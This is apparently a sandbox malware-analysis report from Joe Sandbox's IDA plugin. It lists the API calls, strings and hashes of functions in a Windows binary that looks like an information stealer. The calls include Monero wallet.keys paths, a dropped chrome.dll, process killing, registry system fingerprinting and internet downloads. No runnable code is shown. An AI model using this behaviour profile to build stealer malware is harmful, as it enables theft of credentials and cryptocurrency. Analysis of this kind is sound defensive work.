Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$CreateDeleteLibraryLoad
String ID: C:\ProgramData\chrome.dll$C:\ProgramData\chrome.dll
API String ID: 585553867-663540502
Opcode ID: 8148c234bacbf2a34c4d260c183abcd914bd34680146ac2dfb9c16a3a72a8589
Instruction ID: 883ed786f677569c77b50e1aa0353050cda40f297445007cbcef3dce61f072c9
Opcode Fuzzy Hash: 8148c234bacbf2a34c4d260c183abcd914bd34680146ac2dfb9c16a3a72a8589
Instruction Fuzzy Hash: 31A168717001089FCB28EF64D996EED777ABFA5300F50856DE40A5F251EB309A15CB92

Function 00119E30 Relevance: 10.7, APIs: 6, Strings: 1, Instructions: 163stringsleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00128CF0: GetSystemTime.KERNEL32(00130E1B,00E3E7B8,001305B6,?,?,001113F9,?,0000001A,00130E1B,00000000,?,00E39450,?,\Monero\wallet.keys,00130E1A), ref: 00128D16

wsprintfA.USER32 ref: 00119E7F
lstrcat.KERNEL32(00000000,?), ref: 00119F03
lstrcat.KERNEL32(00000000,?), ref: 00119F17
lstrcat.KERNEL32(00000000,001312D8), ref: 00119F29
lstrcpy.KERNEL32(?,00000000), ref: 00119F7C
Sleep.KERNEL32(00001388), ref: 0011A013

Part of subcall function 001299A0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 001299C5
Part of subcall function 001299A0: Process32First.KERNEL32(0011A056,00000128), ref: 001299D9
Part of subcall function 001299A0: Process32Next.KERNEL32(0011A056,00000128), ref: 001299F2
Part of subcall function 001299A0: OpenProcess.KERNEL32(00000001,00000000,?), ref: 00129A4E
Part of subcall function 001299A0: TerminateProcess.KERNEL32(00000000,00000000), ref: 00129A6C
Part of subcall function 001299A0: CloseHandle.KERNEL32(00000000), ref: 00129A79
Part of subcall function 001299A0: CloseHandle.KERNEL32(0011A056), ref: 00129A88

Strings

D, xrefs: 00119FA4

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseHandleProcessProcess32$CreateFirstNextOpenSleepSnapshotSystemTerminateTimeToolhelp32lstrcpywsprintf
String ID: D
API String ID: 531068710-2746444292
Opcode ID: 6202f592b046d5ea19ff7eb85f720942b7f4abf1779f1c119aa76b5a23ccfd9b
Instruction ID: f8fc1a52b404976a6b0c3e492a2e7f81454b332310fe7da44e3cd3a4b0d402dc
Opcode Fuzzy Hash: 6202f592b046d5ea19ff7eb85f720942b7f4abf1779f1c119aa76b5a23ccfd9b
Instruction Fuzzy Hash: 455174B1944318ABEB25DB60DC86FDA7378AF54700F404598F60DAB2C1EB75AB84CF51

Function 0018F9E8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0018FA1F
___except_validate_context_record.LIBVCRUNTIME ref: 0018FA27
_ValidateLocalCookies.LIBCMT ref: 0018FAB0
__IsNonwritableInCurrentImage.LIBCMT ref: 0018FADB
_ValidateLocalCookies.LIBCMT ref: 0018FB30

Strings

csm, xrefs: 0018FAC5

Memory Dump Source

Source File: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 73bc2f32c22e0088af07211562fb197d2e7e36a363a5a26788fe809058fe556b
Instruction ID: c6b1a7186c0d704ca423f54e4e375a8eb055db10d0279632192027797e075f56
Opcode Fuzzy Hash: 73bc2f32c22e0088af07211562fb197d2e7e36a363a5a26788fe809058fe556b
Instruction Fuzzy Hash: CA41A535A00219EFCF14EF68C884A9E7BB5FF59324F148169E819AB391D7319A06CF91

Function 00115000 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0011501A
RtlAllocateHeap.NTDLL(00000000), ref: 00115021
InternetOpenA.WININET(00130DE3,00000000,00000000,00000000,00000000), ref: 0011503A
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00115061
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00115091
InternetCloseHandle.WININET(?), ref: 00115109
InternetCloseHandle.WININET(?), ref: 00115116

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 4334bef937ecd813004af0c11e230a4ce637b5ca5d82f78def9804bc265a70c7
Instruction ID: 83dbc06f8400e22f2622ac01c169ac7add7d439fe5086ab2f81264afd2e6c339
Opcode Fuzzy Hash: 4334bef937ecd813004af0c11e230a4ce637b5ca5d82f78def9804bc265a70c7
Instruction Fuzzy Hash: 69311BB4A04218EBDB24CF94DC85BDCB7B5AB48304F5085D8F709A7281C7706EC58F98

Function 0012856C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 001285B6
wsprintfA.USER32 ref: 001285E9
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0012860B
RegCloseKey.ADVAPI32(00000000), ref: 0012861C
RegCloseKey.ADVAPI32(00000000), ref: 00128629

Part of subcall function 0012AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0012AAF6

RegQueryValueExA.ADVAPI32(00000000,00E3F3F8,00000000,000F003F,?,00000400), ref: 0012867C
lstrlen.KERNEL32(?), ref: 00128691
RegQueryValueExA.ADVAPI32(00000000,00E3F518,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00130B3C), ref: 00128729
RegCloseKey.ADVAPI32(00000000), ref: 00128798
RegCloseKey.ADVAPI32(00000000), ref: 001287AA

Strings

%s\%s, xrefs: 001285DD

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: ae762de052f2c8b269a824a692a55768f5c032d45d35b1f6d27cf13aec52a250
Instruction ID: cd016ab8b2e31722a38e91ca79c5c89aa31bc6564af13a8b6d0b56155e628e2d
Opcode Fuzzy Hash: ae762de052f2c8b269a824a692a55768f5c032d45d35b1f6d27cf13aec52a250
Instruction Fuzzy Hash: FA21FC7191522CABDB24DB54DC85FE9B3B8FB48700F1085D8E609A6180DF716A85CFE4

Function 001299A0 Relevance: 10.6, APIs: 7, Instructions: 60processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 001299C5
Process32First.KERNEL32(0011A056,00000128), ref: 001299D9
Process32Next.KERNEL32(0011A056,00000128), ref: 001299F2
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00129A4E
TerminateProcess.KERNEL32(00000000,00000000), ref: 00129A6C
CloseHandle.KERNEL32(00000000), ref: 00129A79
CloseHandle.KERNEL32(0011A056), ref: 00129A88

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 2696918072-0
Opcode ID: 0087bd68b40f461624e1085f69dd5d8a9ee579e78af7b2365c66a227741b6283
Instruction ID: dc17f362442718d7bd5665432431b72202a22cdefc144d073a01922e74c2e74e
Opcode Fuzzy Hash: 0087bd68b40f461624e1085f69dd5d8a9ee579e78af7b2365c66a227741b6283
Instruction Fuzzy Hash: 3F21EA71904328ABDB35DFA5EC88BDDB7B9BB48304F1045C8E50AAB290D7749E94CF50

Function 00127F90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00127FC7
RtlAllocateHeap.NTDLL(00000000), ref: 00127FCE
RegOpenKeyExA.ADVAPI32(80000002,00E2B7D0,00000000,00020119,?), ref: 00127FEE
RegQueryValueExA.ADVAPI32(?,00E3E520,00000000,00000000,000000FF,000000FF), ref: 0012800F
RegCloseKey.ADVAPI32(?), ref: 00128022

Strings

, xrefs: 00128004

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-3162483948
Opcode ID: 75a20fbadc5abd9309bc8d74eb5ab4cbee8aee771f83256cadba8a0bc077e418
Instruction ID: 8a51ee8efde5c571a3e0bc577a7803c0fef5ab8dd68892a81d09920dd64f059f
Opcode Fuzzy Hash: 75a20fbadc5abd9309bc8d74eb5ab4cbee8aee771f83256cadba8a0bc077e418
Instruction Fuzzy Hash: 78118FB1A44245EBD714CB84ED86F6FB7BCEB04B10F104219F611AB2C0D77558008BA1

Function 00127820 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00127834
RtlAllocateHeap.NTDLL(00000000), ref: 0012783B
RegOpenKeyExA.ADVAPI32(80000002,00E2B8B0,00000000,00020119,00000000), ref: 0012786D
RegQueryValueExA.ADVAPI32(00000000,00E3F320,00000000,00000000,?,000000FF), ref: 0012788E
RegCloseKey.ADVAPI32(00000000), ref: 00127898

Strings

Windows 11, xrefs: 0012784D

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 2eed73b9e2a805ae6efdb3281d3b459a4b94cea4b781e57009c203ab7f85234d
Instruction ID: c91c4271fb42de53b76e03214f94d86678dde155ad74c32faffc47f521aafe50
Opcode Fuzzy Hash: 2eed73b9e2a805ae6efdb3281d3b459a4b94cea4b781e57009c203ab7f85234d
Instruction Fuzzy Hash: F101FF75A48349FBEB11DBE4ED8AF6E777CEB48700F104598FA05AA2D0D770A950CB50

Function 001278B0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 001278C4
RtlAllocateHeap.NTDLL(00000000), ref: 001278CB
RegOpenKeyExA.ADVAPI32(80000002,00E2B8B0,00000000,00020119,00127849), ref: 001278EB
RegQueryValueExA.ADVAPI32(00127849,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0012790A
RegCloseKey.ADVAPI32(00127849), ref: 00127914

Strings

CurrentBuildNumber, xrefs: 00127901

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: e6fc64d3caad25fdb2494289efe4480c399efe804c8ee2b264f9d9332437e511
Instruction ID: b8f2d8916fa9ad8507aff3ff928ff8f929b4f8743d9b75f615d8b9f7e39f5999
Opcode Fuzzy Hash: e6fc64d3caad25fdb2494289efe4480c399efe804c8ee2b264f9d9332437e511
Instruction Fuzzy Hash: 3901F4B5A44349BBDB11DBD4EC8AFAE777CEB44700F104598F605AB2C1D7706A508B90

Function 0011A110 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0011A13C
GetFileSizeEx.KERNEL32(000000FF,?), ref: 0011A161
LocalAlloc.KERNEL32(00000040,?), ref: 0011A181
ReadFile.KERNEL32(000000FF,?,00000000,0011148F,00000000), ref: 0011A1AA
LocalFree.KERNEL32(0011148F), ref: 0011A1E0
CloseHandle.KERNEL32(000000FF), ref: 0011A1EA

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 1603f8058d08d3f046a65f50300eb0a6463ac4c3553f06706214eda6af2729f0
Instruction ID: 69d88a7d1c8c14edc3ef52559297ce337359226e5e701172099c8d96dfe620bb
Opcode Fuzzy Hash: 1603f8058d08d3f046a65f50300eb0a6463ac4c3553f06706214eda6af2729f0
Instruction Fuzzy Hash: 80310E74A01209EFDB15CF94D885BEE7BB9BF48300F508158E911AB2D0D774AA81CFA1

Function 0011D880 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0012AA50: lstrcpy.KERNEL32(00130E1A,00000000), ref: 0012AA98

Part of subcall function 0012ACC0: lstrlen.KERNEL32(?,00E39450,?,\Monero\wallet.keys,00130E1A), ref: 0012ACD5
Part of subcall function 0012ACC0: lstrcpy.KERNEL32(00000000), ref: 0012AD14
Part of subcall function 0012ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0012AD22

Part of subcall function 0012ABB0: lstrcpy.KERNEL32(?,00130E1A), ref: 0012AC15

Part of subcall function 00128CF0: GetSystemTime.KERNEL32(00130E1B,00E3E7B8,001305B6,?,?,001113F9,?,0000001A,00130E1B,00000000,?,00E39450,?,\Monero\wallet.keys,00130E1A), ref: 00128D16

Part of subcall function 0012AC30: lstrcpy.KERNEL32(00000000,?), ref: 0012AC82
Part of subcall function 0012AC30: lstrcat.KERNEL32(00000000), ref: 0012AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0011D901
lstrlen.KERNEL32(00000000), ref: 0011DA9F
